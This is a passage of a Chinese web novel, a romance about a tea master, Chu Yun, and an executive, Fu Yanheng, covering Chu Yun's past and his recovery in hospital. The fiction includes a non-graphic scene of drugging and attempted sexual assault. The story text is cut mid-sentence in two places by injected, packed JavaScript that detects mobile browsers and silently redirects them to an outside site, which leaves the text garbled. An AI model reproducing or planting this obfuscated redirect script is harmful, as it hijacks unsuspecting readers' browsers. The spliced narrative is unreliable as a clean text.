秦澜月低头看着自己原本锃亮的皮鞋尖,知道楚韫车祸后他急急忙忙地就往这边赶,医院这边交通不好,他就下了出租车一路狂奔,也顾不上旁边建筑工地飞扬的尘土,直到闯进医院大厅,一身的热汗霎时间冷却,他才觉出那令人颤抖的寒意来。 “楚韫一路走过来,其实吃了不少苦,受了很多常人无法想象的磨难。他小的时候亲眼看见他妈妈自杀的惨状,就一直心理有点问题,后来跟了他师父,好日子没过几年,他师父也因为那档子事,心脏病突发去世了。” 像是某个关键词触动了敏感的神经,傅砚珩突然开口:“心脏病?” 秦澜月点头:“对,他师父一直心脏不好,最后也是受了刺激心脏骤停去世的。” 厚厚的冰层开始解冻、融化,那些被埋藏的、几乎要被遗忘的细节突然鲜活生动起来。 ——“你是怎么学会AED急救的?” ——“这有什么奇怪的吗,上学的时候学校开过这门课。” 几节课堂教学不足以让人拥有那样专业的手法和极高的熟练度,唯一的解释是,在不为人知的背后,楚韫一个人不厌其烦地练习过千百次,矫正过每一个不准确的细节,只为了在悲剧突然降临时,把廖叙生拽出死亡的深渊。 秦澜月吐出一口薄薄的烟雾,扯了扯嘴角:“我从一个旁观者的角度说句大不敬的话,他师父入了土,不管在天之灵是否安息,好歹逃过了这纷纷扰扰的乌烟瘴气,但楚韫就不一样了。” “当时有人劝他审时度势,廖叙生那么大一顶不清不白的帽子扣下来,根本洗不清说不明,与其那样被他拖累,不如先对外划清他们的师徒关系,避一避风头。” 但要真的那样做,他就不是楚韫了。 傅砚珩眸光微动,就听秦澜月接着说:“但楚韫这个人一直有股‘轴’劲,死活不愿意这么做。所以在很长一段时间里,他理所应当地被他师父‘连累’了。” “当时茶叶协会对廖叙生的事情展开了一番轰轰烈烈的调查,几乎是把他生前所有的东西都带走了。楚韫作为他的徒弟,前一年刚刚拿到了一个重量级比赛的冠军,未免让人生疑,于是他也一并接受了纪律组的调查,结果当然是什么都没查出来。” 秦澜月倚在墙上,高深莫测地说:“人死了可以空口白牙地颠倒黑白,人活着就没那么容易。但舆论的声浪不能不管,于是茶叶协会对外发布了一篇潦草的调查结果,在某种程度上反倒起得了适得其反的作用。” 那些缭绕的烟雾渐渐散去,秦澜月的目光落在对面人身上。 有的人哪怕什么都不做,就只是静静地站在那里,都会显得与其他人格格不入,比如此时的傅砚珩。 不像秦澜月在财经新闻上看到的那样冰冷无情,也没有金钱名利浸染下的傲慢,但又自然流露出一种俯瞰尘寰的疏离。 这样的人不知道有几分真心,也不知道爱情在他们的世界中能占多少分量。秦澜月毫不遮掩他探究的目光,尽管面前的傅砚珩是他从大学起就奉为偶像的人物。 傅砚珩却好像一眼看出了秦澜月目光下隐藏的不信任,以及更深一层的欲言又止,平静而坦然地接受对方的审视,过了一会才说道:“原生家庭和成长环境对人的影响很大,但人的心理并不完全取决于过去、遗传或环境,而是具有选择的权利和能力。” 秦澜月一下子就明白了他的意思—— “我知道你的顾虑,但对于我来说,正是因为见过婚姻变成交易筹码、没有价值的子女被父母抛弃、亲人之间为了利益互相算计,才会本能地厌弃它们。我自有一套对待感情的行为准则,不会因为身边人如何而动摇改变,所以你无需怀疑我对楚韫是否真心,也不用低估楚韫在我心里的分量。” 从前秦澜月以为话语最没有分量,因为上下嘴唇一碰,无论是甜言蜜语还是海誓山盟,都能轻而易举地脱口而出,然后等到特定的场合一过,就转瞬即逝、归于虚无。 然而直到今天,他才突然意识到,在某些情况下,话语的“存在”比“内容”更加重要,也更加沉重。傅砚珩不是一个在意外界眼光和声音的人。这样的人,会回应、证明和解释,只是因为那些怀疑、不确定里牵扯着一个“楚韫”。 长久憋闷在胸腔里的疑虑终于散去,秦澜月呼出一口气,笑了笑:“有傅总这句话我就放心了,其实我真正想说的,是一个叫‘邵凌’的人——” . 楚韫做了一个光怪陆离的梦。 他梦到了廖叙生下葬的那一天。 那天的天空阴沉而灰暗,空气沉闷,飘浮着雨的腥气。楚韫亲手把廖叙生的骨灰盒放进墓穴,然后退到一边看着工作人员封穴。 不知道是不是廖叙生在天有灵,厚重的盖板盖上去的那一刻,天空突然滚过一声惊雷,随即冰冷的雨落在了楚韫脸上,打湿了那层纸糊的镇定。他没有打伞,只是静默地站在廖叙生的墓前,和一块冰冷的石板相对无言。 一切结束后,楚韫回到了自己住的公寓。他全身都被淋湿了,再加上苍白的脸和唇,看起来人不人鬼不鬼。窗外划过一道紫色的闪电,与突然间响起的猛烈敲门声重合。楚韫不知道有谁会在这种时候来找他,迟钝地打开门后,才发现是茶叶协会的人。 为首的人举起自己的证照,楚韫这才看清他身后还跟着两个同事。 “楚韫先生,鉴于你师父廖叙生在行业中存在不端行为,你作为他的徒弟,我们有权利对你一年前在天工盏大赛上取得成绩的真伪进行调查。” 对方语气算得上平和,然而脸上那轻蔑侮慢的神情已经表现出了他的态度。 楚韫只觉得好冷,他的思绪在理智与感官之间游离,花了好长时间才理解话里面的意思,因此很久都没有给出答复。 门外的人等得不耐烦了,随口说了句“失礼”,便推开楚韫,闯进了公寓里。 楚韫想要阻止,但无济于事。对方有三个人,其中两个按住楚韫不让他反抗,另一个走进他的书房,粗鲁地把书架上的一本本古籍翻开再扔到地上,发现一无所获后,又拉开了书桌的抽屉,把里面的纸张文件统统看了一遍,再撕成碎片。 楚韫剧烈地反抗,试图挣脱两人的禁锢,直到那个人找到了他藏在最里边的瓷罐—— 那是廖叙生做出来的第一批云栖竹露,是楚韫仅有的师父的遗物。 他眼睁睁看着那个人打开瓷罐,闻了闻里面的茶叶,随即冷笑道:“楚先生好本事,还在这里私藏了廖叙生制作的茶叶。” 楚韫咬紧了牙,怒道:“你们这是私闯民宅……还给我!” 那个人“啧”了一声,毫不掩饰脸上的讥讽:“这是我们的合法工作内容,你若不服就去报警啊。” “轰隆”一声惊雷炸响,他用手背拍了拍楚韫惨白的脸颊,不怀好意道:“长得这么好看,出卖点色相就能让评委对你言听计从吧,我是不是应该也把你带回去调查——” 他没能说出后面的话,因为楚韫不知哪来的那么大力气,一下子挣脱了旁边两个人,一拳狠戾地砸向他的肋下—— 这一拳似乎砸碎了这个并不愉快的梦境,肋骨骨折的声音和玻璃窗碎裂的声音同时响起,楚韫抬起头,灿烂的阳光下,一张阴鸷的脸无限贴近,微笑着在他耳边说道:“我只是想欣赏一下你的琴声,怎么,这也不行吗?” 他至今记得迎新晚会上的一曲琵琶独奏,楚韫的秀美、才华以及演奏时那种纯粹投入、仿佛隔绝尘世的气质,瞬间击中了他的审美和占有欲,几乎像毒/品一样让他欲罢不能。 楚韫平静地回视他:“你随意,但我以后不会再来。” 说完,他很有礼貌地朝邵凌一点头,随即毫不犹豫地离开了琴房。 身后传来对方饱含恶意的声音:“这么好看的手,弹琴可惜了——” 年轻人的身影渐渐远去,连一丝一毫的停顿都没有。 “哎,你们听说了吗,生科的那个楚韫,表面上一副清高出尘的样子,背地里可会来事了。” “啊?不会吧,我看着不像啊。” “知人知面不知心!听说他早就搭上邵凌了……我昨天亲眼看到邵凌在他宿舍楼下面给了他一块江诗丹顿的表。人家欲擒故纵玩得可溜了,之前的礼物都被退回去了,唯独这次的收下了。” “他好像从小就没了爸妈,家里应该挺缺钱的,难为他能忍到现在。” “嘻嘻,那个邵凌也不是什么好东西,我看他们俩天生一对——” 盛夏的风裹挟着蝉鸣闯进午后的教室内,不知是看到了什么,那个正在说话的人声音戛然而止。 “怎么不说了?”楚韫抱臂 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秦澜月叹了口气,望着走廊里有些刺眼的白炽灯:“楚韫不是没试过和院里打报告,但邵家给学校捐了三栋教学楼、一间实验室,这种情况下,除非真恶劣到一定程度,否则学校基本就睁一只眼闭一只眼了。” 仗势欺人吗。傅砚珩垂下眼帘,淡淡地想。 不知道在更大的“势”面前,邵家这种不入流的小门小户还能不能再这么随心所欲? “楚韫看清了事实,不再贸然地把一些‘无足轻重’的小证据交上去,他在等一个时机,让邵凌犯下不可饶恕的错误,让邵家无法再包庇邵凌。” …… “大家这段时间真是辛苦了,我们团队已经获得了获得国家级立项,接下来可以先休息一会了。” KTV包间里响起一阵欢呼声,楚韫看着搭档们脸上毫不掩饰的兴奋和喜悦,似乎也受到了感染,露出一点笑意来。 五颜六色的灯光打在每个人脸上,几个男生争先恐后地点歌,楚韫面无表情地看着邮箱里最新的一封骚扰邮件,就听身边传来一道温和的声音:“……楚韫,你不来吗?” 这位师兄是他们的团队负责人,在一阵嘈杂哄乱声中,似乎只有他注意到了楚韫的异样。 楚韫关掉手机,朝着对方笑了笑:“你们先唱吧,我最后。” 那位师兄有些担心地看了他一眼,但终究是没说什么。 包厢里很快就响起了鬼哭狼嚎般的歌声。这个项目是他们所有人不眠不休了半年研究出来的结果,好不容易成功立项,自然要出来庆祝一番。 握在手里的手机突然开始震动,楚韫看了一眼上面的一串电话号码,走出了包间。 “312包厢,我在这里等你,不来的话,你也别想再参与现在这个项目了。” 楚韫冷冷地挂断了电话。 他回头看了一眼身后,一道紧闭的包厢门隔绝了内外两方天地,但依旧有隐隐的歌声飘了出来,仿佛借由那些热闹喧腾,他也获得了无限的勇气。 楚韫收起手机,大步走向了幽微的走廊。 “看来这个项目对你而言这么重要,至少比当年那个奖学金重要。” 312包厢的门被推开,邵凌懒洋洋地坐在沙发上,身边环绕着一群富家子弟。听到这句话,他们纷纷发出一阵奚落的嘲笑声。 楚韫没什么表情地问道:“你叫我来干什么?” 邵凌对楚韫冷脸的样子总是没有抵抗力,闻言笑了笑:“还能干什么?你是我喜欢的人,我想见你不是理所应当的吗?” 那群富二代不约而同地吹了声口哨。 楚韫垂下眼帘,这一刻没人知道他在想什么,就在邵凌以为他会像以往一样离开时,却看见他绷紧下颌,一言不发地坐到了角落里。 ——这实在太反常了,但邵凌把它解释为楚韫实在不想退出那个项目。 向来冷眼相对的人,突然有一天转了性子,哪怕知道对方不是真心,也会涌起强烈的满足感和更深的占有欲。 邵凌倒了一杯洋酒,把酒杯推过去,眼里都是压抑的狂热:“喝吧。” 楚韫这时才终于给了他一个正眼,但眼神里面却是毫不掩饰的嘲讽:“做梦。” 邵凌舌尖抵了抵左腮,笑了。他的目光落在包厢里的那个监控上,立刻有一个富二代说:“凌哥放心,这家KTV都是我们的人。” 楚韫握紧了拳,立刻站起身来,完全就是一副要离开的样子,却被两个富二代拦住了去路:“别走啊美人儿,好不容易来一趟,得把凌哥伺候尽兴了。” 楚韫漆黑的双眸注视着他们,下一秒一双沾着酒气的手臂从身后环绕过来,冰凉的酒液往他的喉舌里灌—— 楚韫像是怒极了,回手一个巴掌扇过去,就听“啪”的一声,邵凌半边脸偏到了一边。 312包厢里鸦雀无声,一群富二代目瞪口呆地看着这一幕,仿佛不知该如何动作。 楚韫这一巴掌力气极大,邵凌吐出一口血沫,再看过来时已经宛如厉鬼恶魔。 “我是不是对你太好了?”邵凌轻声道。 他挥了挥手,示意其他人出去。偌大的包厢里瞬间只剩下了两个人。 门被锁上,楚韫只能眼睁睁看着邵凌从口袋里掏出一包粉末,一点点倒进了刚才的那个杯子里,然后摇晃着棕色的酒液,一步步靠近。 “本来不想这么快的,”邵凌粗暴地掰过楚韫的下巴,迫使他看着自己:“既然这样,我就把计划提前一点。” 身后是厚重的门板,楚韫避无可避,邵凌一把掐住他的脖子,然后毫不留情地把杯子里的东西全都灌了进去! “咳咳咳——!!!” 邵凌那张阴鸷的脸上露出了疯狂的、扭曲的笑意,他的力气大得惊人,一把薅过楚韫,把他狠狠地摔在了沙发上:“好好享受吧,你会爱上这种感觉的。” 楚韫还在疯狂地呛咳,就见对方脱掉外套,居高临下地欺身过来—— 千钧一发之际,他搭在茶几上的手摸到了一个玻璃状的硬物,甚至没有任何思考,就在邵凌粗暴地扯开他衣服的那一刻,楚韫朝着他的脑袋狠狠地砸了下去! 鲜血四溅。 44. 试探 “……那天警察赶到的时候,楚韫已经被邵凌打得奄奄一息了。他故意没怎么还手,因为在他走进那个包厢,坐下来的那一刻,就已经在沙发上安好了针孔摄像头和窃听器。” 哪怕是同归于尽也在所不惜,这确实是楚韫的做事风格。 傅砚珩摊开手掌,里面交错着几道血痕,但他却丝毫感觉不到疼。 当年二十岁出头的楚韫,会比他现在痛上千百倍。 “光凭这些,应该也扳不倒邵凌。” 傅砚珩太清楚权利和金钱滋生的灰色地带了,只要邵家有门路、有手段,哪怕这事捅到警局里,邵凌也会很快被捞出来。 秦澜月点了点头,神情复杂地说:“你还记得我刚才和你说过,楚韫参加的那个大创项目吗?” 傅砚珩目光一凝,似乎猜到了几分—— “那其实也是他有意而为之的,那个项目的导师是业界一位非常有名的结构生物学专家,邵家是做药业发家的,那时正急切地想和这位专家合作,楚韫便利用这一点,把一份匿名材料送到了邵父手里。” “邵凌的行为已构成犯罪未遂,证据确凿;邵家能把人从警局里安然无恙地保出来,但网上的舆论风浪会重创他们家的企业声誉;如果邵家不采取断然措施,楚韫会毫不犹豫地把这些罪证送到那位导师的桌前,邵氏倾注了巨额资金的那个新药研制项目就算是泡汤了。” 秦澜月至今都觉得楚韫走了一步险棋,他孤身一人入局,和一整个家族的势力兵不血刃地斡旋,最终成功把邵凌将死,变成了一颗废棋。 “邵家有他大哥做接班人,邵父权衡利弊之后,以‘管理海外分公司’为理由,把邵凌流放到了他家在F国的一个小产业,而且派了专人‘看护’他。” 傅砚珩笑了笑:“然后他在F国做出了一些成绩,前不久回国了是吗?” 秦澜月悚然一惊:“……你怎么知道?” 因为那束花。 傅砚珩想起闻时发到他邮箱里的调查结果,但哪怕知道是邵凌做的,似乎也不能奈何他什么,因为无论是花,还是贺卡,都没有任何问题。 ——但真的奈何不了吗? 楚韫还没有醒来的迹象,医生说只要人醒了就没什么大碍,秦澜月虽然千百个不放心,但茶楼现在客人多,他作为经理还需要匆匆赶回去。 傅砚珩坐在楚韫的病床旁,覆上他没有打点滴的另一只手,希望能传递一点温度给对方。 无论天涯海角,我都会回到你身边。 多像一句令人感动的坚贞誓言,事实上却是恶魔再次逼近的预告。 快点醒来吧,傅砚珩想。 醒来看看你为之付出的一切,看看余晋华等人的罪有应得。 ……醒来看看我。 楚韫这次昏迷了整整三天。 等他醒来的时候,电视上正在播放余晋华等人被逮捕调查的新闻。 “据专案组通报,在深入侦查余某某涉嫌故意杀人未遂、职务侵占、偷税漏税等罪行期间,日前警方收到一份匿名的关键性举报材料。举报材料中包含确凿的书证、物证及部分证人线索,直指余某某在20xx年主导的一起针对其当时主要商业竞争对手、知名茶叶制作师廖某某的恶意诬陷阴谋。” 楚韫愣愣地看着新闻上展示的部分打过码的照片,女主持人专业、冷静的声音接着响起:“举报材料详细揭示了余某某如何重金收买廖某某当时的员工、徒弟等人,共同伪造了廖某某涉嫌生产销售伪劣产品的虚假证据链。当年具体实施诬告、作伪证的周某某、宋某某等人,因涉嫌诬告陷害罪、伪证罪等,已被警方依法采取刑事强制措施,将另案处理。” 一切都结束了。 余晋华、吴润、宋清峦,乃至于周万山,都得到了应有的下场。真相终于大白于天下,他终于为廖叙生洗刷掉了那些冤屈,这位将毕生精力都奉献于茶叶制作的老人,不必再为生前身后名所拖累,在天之灵可以安息了。 楚韫曾经无数次幻想过这一刻,但真的看到恶贯满盈者伏法认罪,他却并没有那么痛快。 “……那个晚宴帮我推了,我今晚没空。” 病房的门被人从外面推开,傅砚珩刚挂断电话,目光落在病床上,瞳孔骤缩,随即大步走了过来:“怎么坐起来了?” 他小心翼翼地扶着楚韫躺回去,楚韫几天没说话,一开口嗓子都是沙哑变调的,语气里蕴着笑意:“……没事的。” “有没有哪里难受?想吐吗?”傅砚珩紧紧盯着楚韫的脸,眉宇间罕见的慌乱、紧张。 楚韫摇了摇头,伸手碰了碰他的脸,感觉比自己的手还冰:“……那些证据,是你帮我交给警察的?” 傅砚珩这才注意到电视上在播的新闻。 “是。”他回答:“你出车祸之后,我让人找到了那个路段的监控,还有余晋华买凶杀人的证据。” 楚韫微微一笑,虽然因为刚醒的缘故,泛着点病态:“他这是要和我同归于尽,但我没死,反倒是他亲手把自己送进了无期徒刑。” 傅砚珩面无表情地看了他一眼:“不许说‘死’这个字。” 楚韫及时改口,用能活动的一只手拽着傅砚珩的袖子,晃了晃:“知道了。” 傅砚珩心里那点不悦立刻烟消云散,抓住了他冰冷的手。 楚韫敛去笑意,叹气道:“你很担心吧。” 没等傅砚珩点头,他就接着说:“你知道吗,其实我本应该撞上那辆卡车的。” 傅砚珩静静地看着他,很久才滞涩地问道:“……为什么?” “那时我知道自己大概是难逃一死了,所以脑海里想起了很多事情。”楚韫轻声道:“有我这么多年遭遇的一切,大大小小的,好事坏事都有。最后一个场景,是那天早上出门时,我亲了你一下。” 傅砚珩呼吸一滞,就听楚韫用一种复杂的、却又莫名柔和的语气说道:“那时我突然清楚地意识到,我不想死,我应该再争取一下。于是我最后打死了方向盘,很幸运地撞到了树上。” “所以你明白了吗,从某种程度上来说,正是因为你,我这颗心脏才能继续跳动。” 胸腔里的心脏一下,又一下,重重撞在肋骨内侧的薄壁上,震得指尖发麻,耳膜嗡嗡作响,每一次搏动都带着灼热的电流,瞬间窜上脊椎,燎过喉咙,将向来缜密的思维烧成一片空白。 比任何的告白都要动听,比任何的盛大都要震耳欲聋。 下一秒,一个克制隐忍的吻落在了额头上,像是对待失而复得的珍宝,又掺着未曾宣之于口的酸涩喜悦。 楚韫听到傅砚珩颤抖的声音:“我爱你。” 我爱你,刻入骨髓,烙印在灵魂,随着血液流淌,永远不会磨灭。 . 楚韫这次整整在医院待了两个月。 应傅砚珩的强烈要求,楚韫醒来后立刻就被安排了一场全方位的身体检查,直到医生再三强调他确确实实没有大碍,只需要休养一段时间,傅砚珩紧皱的眉头才松开了些许。 这期间秦澜月和陆俨每天轮流来看他,几乎每一次来都能在病房里看到傅砚珩,以至于秦澜月背后跟楚韫感叹,每天都能见到自己心心念念的偶像,看来他离赚大钱也不远了。 从上次住院楚韫就发现了,傅砚珩一旦干起照顾人的活来,总能让人忘了他也是个豪门子弟。因为这人伺候他从来不假手于人,处处透露着精细妥帖,没一处不符合他的心意。往往他一个眼神过去,还没等说话,对方就知道他的意思—— 比如他想趁着这段时间把那个茉莉香囊绣出来,可能是大病初愈体力不支,精细活做一会就眼睛痛手酸,然后本来在一边开线上会议的傅砚珩就会悄无声息地过来帮他揉揉手、按按太阳穴。 “累了就歇一会,身体最重要。” 楚韫看了一眼被他放到一边的笔记本,说道:“我没事,别影响你开会。” 话音刚落,傅砚珩打开麦克风,冷冷地说:“告诉算法组,下周拿出能直接嵌入客户现有系统的轻量化模块,否则停掉所有加班审批。” 楚韫:“……” 傅砚珩关掉麦克风,问道:“这个力度可以吗?” 楚韫舒服得微微眯眼,看起来像某种被顺过毛的小动物:“可以。” 两个月之后,绵长的夏日彻底过去,银杏树上的叶子变得金灿灿一片。楚韫“刑满释放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚韫心里“咯噔”一下,心想这二世祖要么是一点不懂职场生存法则,什么话,尤其是领导的坏话,都敢跟自己这么个不知根知底的人说;要么是看出了点什么,在这千方百计地套自己的话。 随即他露出一个八风不动的微笑,说道:“我和傅总就是聊一些工作上的事情,至于他人怎么样,我和他接触不多,不好评价。” 傅嘉礼“哦”了一声,敛旗息鼓了一阵,刚想发出新一轮攻势,Ailee就从化妆室里探出了头:“傅嘉礼,楚老师还得化妆,把你的话痨作风收一收。” 傅嘉礼立刻让即将脱口而出的话拐了个弯,眨了眨眼:“好的,Ailee姐。” 短短十分钟的化妆时间,楚韫趁机给傅砚珩发了个信息。 [楚韫:你弟好像知道咱俩的关系了。] 对方隔了一会才回。 [傅砚珩:我之前一直以为他是朽木不可雕,原来那点天分都在这上面了。] 隔着屏幕,楚韫似乎都听见了傅砚珩对傅嘉礼毫不留情的冷嘲热讽。 [楚韫:要是他一会直接问我,我怎么回答?] [傅砚珩:楚韫,想搞地下恋情已经晚了。] “放松,面部肌肉不要绷得那么紧。” 楚韫对Ailee说了声“抱歉”,面无表情地输入最后一句话: [哦,那真是不敌傅总有情趣。] 今天的拍摄依旧很顺利,导演非常满意地喊了声“卡”,三步并作两步地过来,似乎想要和楚韫激情拥抱一下,但被他巧妙地避开了。 “……抱歉楚老师,我太激动了,忘了你身体还没完全恢复。” 虽然并不完全是这个理由,但楚韫还是顺势一点头:“没事的。” 导演看起来深受加班迫害之苦,以至于提前收工已经要让他变成一阵快乐的旋风:“嗐,感谢的话说多了,我都不好意思了。今天所有的拍摄任务彻底结束,我特意订了‘竹里馆’的包间,我们好好庆祝一番!” 按理来讲楚韫是要拒绝的,他向来不喜欢人太多的场合,但视线一触及这导演殷殷期盼的目光,他就想起因为自己的原因,摄制组耽误了很多拍摄进程,而且—— 他瞥了眼手机。 傅砚珩今晚有事,自己回家好像也挺没意思的。 导演不知道楚韫经历了怎样的心路历程,但总归人家最后一点头,答应了。 于是这位有点发福的中年男人嗓门一扯:“大家抓紧收拾,一会去‘竹里馆’开庆功宴!” 一呼百应,摄影棚里顿时响起一片欢呼声。 45. 得知 “竹里馆”是本市一家相当高档的私人会所,楚韫之前也只是略有耳闻,从来没进去过,还在想这导演真是大手笔,但如果他知道亿恒给这个拍摄项目拨了多少钱,大概就不会这么想了。 整个拍摄组,除了傅嘉礼谁都没来过,因此大家一进大堂都变得面色涨红——纯粹是硬压下那些惊呼和赞叹而憋的。 傅嘉礼今天似乎特别喜欢和楚韫聊天,哪怕是这种场合也能拉着他喋喋不休,而且是随着环境变化而改变话题。 “哎,他家哪都挺好的,就是洗手间熏香味道大了点。” 楚韫笑了笑,抓住他露出来的一点马脚:“你之前来过这里吗?” 傅嘉礼自知失言,有些尴尬,支支吾吾地找了个理由:“那个,我之前有一次路过,正好内急,就来他家蹭了个厕所。” 楚韫点了点头,挑眉道:“长见识了,我以为这种地方都会管控很严。” 傅嘉礼:“……” 其实严格来说是这样的。 他装作没听出楚韫话里有话,这时他们正穿过一条长长的走廊,旁边陈列着一些价格不菲的收藏品,他看见楚韫的目光在一把琵琶上多停留了一会。 “你对这个很感兴趣吗?” 在傅嘉礼眼里,这种事情发生在楚韫身上其实是很难得的,因为除了和茶叶有关的内容,他似乎对任何东西都是淡淡的,看不出什么明显的偏好。 出乎他意料,楚韫回答:“没错,我以前学过一些。” 走在前面的Ailee不知怎么听到了这句话,“哇”了一声,笑眯眯地问道:“楚老师这么多才多艺,大学时期一定有很多追求者吧。” 傅嘉礼立刻竖起了耳朵。 楚韫性格使然,不太想和一群人分享自己的隐私,好在这时候他们到了包间门口。 “快进快进,大家随便坐!” 导演在门口一张罗,所有人顿时把这件事抛之脑后,一窝蜂地挤了进去。 楚韫右边挨着导演,左边本来是一个灯光组的工作人员,结果傅嘉礼过来耍了几句嘴皮子,成功跟人家换了座。 摄制组这群人难得提早收工,而且庆功宴排场拉满,一个个看起来都兴致高昂的。本身都是年轻人,席间聊天的话题简直天南海北,比如上一秒一个三十岁出头的道具组大哥还在感慨现在孩子的奶粉钱真贵,下一秒就有人把话题扯到了择偶观上。 “反正我就喜欢那种年轻的弟弟,图我钱也没关系,只要情绪价值给到了、长得帅、会照顾人,我都接受。” Ailee一番豪情壮志的发言征服了在场所有男士女士,有人揶揄她:“那以后我要是无家可归了,就把自己收拾收拾,求姐姐包养——” Ailee笑骂一声:“滚!老娘不吃你这一口!” 大家都笑得前仰后合,那个男生也毫不在意自己“被嫌弃了”,眨了眨眼,把目光对准了正全神贯注听别人说话的楚韫身上:“话说回来,我真的很好奇楚老师的理想型是什么样的。” 楚韫突然被点名,甚至能感受到左边某人灼热的目光,哑然失笑道:“我喜欢温柔体贴,比较了解我、和我有共同语言的人。” 话音刚落,身边灼热的目光就一寸寸变凉了。 难道自己猜错了? 傅嘉礼百思不得其解。 他哥冷酷无情、最擅长欺凌别人的自尊心;而且整天只有工作,为人毫无情趣,哪一条都不符合楚韫口中的“理想型”,反而更像是他出门会绕道而行的类型。 但那天那个情况,两个人怎么说都很不对劲。他哥眼珠子都要黏人家身上了,包括后来亲自出马,把那个搭讪的灯光组小子吓成那样,实在不像是“朋友”或“合作方”。 而且最重要的是,那天是情人节。 傅嘉礼突然灵光一闪,随即茅塞顿开—— 如果……他哥是在追求人家呢? 没错,这样一切就都解释得通了! 没人知道这位二世祖百转千回的脑回路,大家正聊得热火朝天,傅嘉礼余光一瞥,看见楚韫安静地离席了。 . 楚韫从洗手间出来,正在洗手台旁边洗手,心想这家会所的洗手间真如傅嘉礼所说,熏香浓重得要把人撂倒。 就在这时,里面隔间的门被人推开,沉稳利落的脚步声绕过中式花窗隔断,越来越近,直到身边的水龙头传出哗哗的流水声,伴随着一道无比熟悉的声音:“好巧。” 楚韫正垂眸拿纸巾擦手,闻言动作一顿,不可置信地抬眼看过去—— 下一秒,他整个人就被推到大理石砖墙上,后脑处垫了只温柔的手,一个带着些烟草气息的吻落了下来。 “……!” 楚韫被动地仰头承受,齿关里泄出断断续续的几个字:“……不,不行……会被别人看到。” 他甚至能听见门外侍应生经过的脚步声,好像下一秒随时就会推开洗手间的门,撞见一墙之隔,里面这暧昧、混乱的一幕。 他几乎是无意识地抓紧了对方一丝不苟的西装外套,才能堪堪稳住身体的平衡。 漫长的亲吻过后,傅砚珩看了一眼楚韫微红的眼角,哑声笑了:“怎么在这?” 楚韫整理了一下凌乱的衣襟,这才发现自己刚才下手没轻没重,把傅砚珩的西装抓得皱皱巴巴。他面无表情地看了傅砚珩一眼,却不知道以他现在的样子,这样的眼神毫无杀伤力:“和摄制组的人来这里吃饭,今天彻底收工。” 傅砚珩的目光又落在他胸前的那枚胸针上,勾起嘴角:“晚上和一个合作方吃饭,在云岫阁,估计我们结束的时间差不多,到时候一起回去。” 出来上个厕所,时间太长未免有些奇怪。楚韫点了点头,正打算出去,结果有人从外面先一步推门进来了—— “……” 傅嘉礼看着洗手间里的两个人,脸上神情一片空白,脑海里已经自动演绎出一场他哥为了追人都追到这来的狗血爱情大戏。 我该先和谁打招呼?要不要暴露和我哥的关系?该怎么说?好巧?我哥和楚韫进行到哪一步了? 一番苦大仇深的头脑风暴下来,饶是傅嘉礼平时巧舌如簧,此刻也变成了结巴:“傅,傅总,好巧。那个,楚韫,你也在这啊。” 楚韫清清楚楚地看到了傅砚珩眼底的无奈,然后就听他说:“这是你嫂子。” 傅嘉礼:“啊哈哈,嫂子,嫂子——” 舌尖一卷,像是刚刚反应过来这两个字的意思,连笑容都僵硬在脸上,似乎一碰就要掉渣。 “什么?!!” 傅嘉礼好不容易推算出来的结论这么快就被推翻,他的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383332|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在傅砚珩和楚韫之间逡巡几圈,脱口而出:“不是,你俩就这么确定关系了?” 傅砚珩一眼扫过去就知道傅嘉礼在想什么,但他只是朝着楚韫的方向偏了下头:“你先回去?我和他说。” 楚韫也并不想继续待在这里,向傅嘉礼解释他和傅砚珩之间的事,于是点了点头,先一步离开了香气熏天的洗手间。 傅嘉礼的接受能力很强,至少等他回来时,楚韫已经看不出他有什么太大的情绪起伏了。 因为顾及楚韫还在恢复期,这顿饭他们没喝酒,而且散场很早。结束后,导演问需不需要送他一程,被楚韫拒绝了。 大家在“竹里馆”门口分道扬镳,楚韫低头查看了一下手机,抬头时就发现傅嘉礼还站在那没走,想了想问道:“你在等你哥吗?” 傅嘉礼“嗯”了一声,看起来有些无奈:“我手机没电了,今天也没开车过来,只能搭我哥的车回去了。” 楚韫看他这个样子,笑了一下:“你看起来很不情愿。” “当然了,”傅嘉礼偷偷吐槽:“说实话,我来瑞禾工作就是拜我哥所赐,他还没收了我所有的赛车,禁止我和之前的朋友出去玩……总之是惨无人道、毫无人性!” 楚韫回想了一下傅砚珩平时冷冰冰的样子,哑然失笑:“所以你很怕你哥?” 傅嘉礼身体一僵,不情不愿地哼哼道:“……算是吧。不过我这是识时务者为俊杰。” 说完,他实在按捺不住八卦的心,不着痕迹地往楚韫那边蹭了一点点,小声道:“楚韫,你怎么看上我哥的啊?他跟你的‘理想型’不能说有相似之处,只能说是南辕北辙!” 楚韫诧异地看了他一眼:“是吗?但我就是按你哥说的。” 傅嘉礼勉强挤出了一个微笑,“哈哈”两声:“是,是吗。” 要么是楚韫对他哥有滤镜,要么是他哥人前人后两幅面孔。但根据他的判断,大概率是第二种。 傅嘉礼还没来得及继续八卦,一辆黑色的迈巴赫就停在了两人面前。今天闻时不在,傅嘉礼非常自觉地坐到了副驾驶,并且全程一言不发当空气。 楚韫刚坐到傅砚珩旁边,就被他抓住了手放在腿上。 “明天再多穿点。” 十月末,S市早晚已经有了几分寒意,楚韫刚才在外面站了一会倒没觉得什么,刚才碰到傅砚珩的手才感觉出来点冷。 傅砚珩看了一眼傅嘉礼,立刻就知道对方打的什么主意,吩咐司机:“先送他回去。” 傅嘉礼那套市中心的公寓离这家会所不远,迈巴赫停在路边,傅嘉礼正要下车,却像是忽然想起了什么,扭头问道:“对了楚韫,你上次是不是把一套什么盏落在影棚里了?” 他这么一说,楚韫想起来确实有这么一回事,那套黑釉兔毫盏是他自备拿过去拍摄的,后来忙着安抚醋意横飞的某人去了,就忘了把它们拿回来。 “你跟我上去拿一下吧,上回导演把它们给我了。” 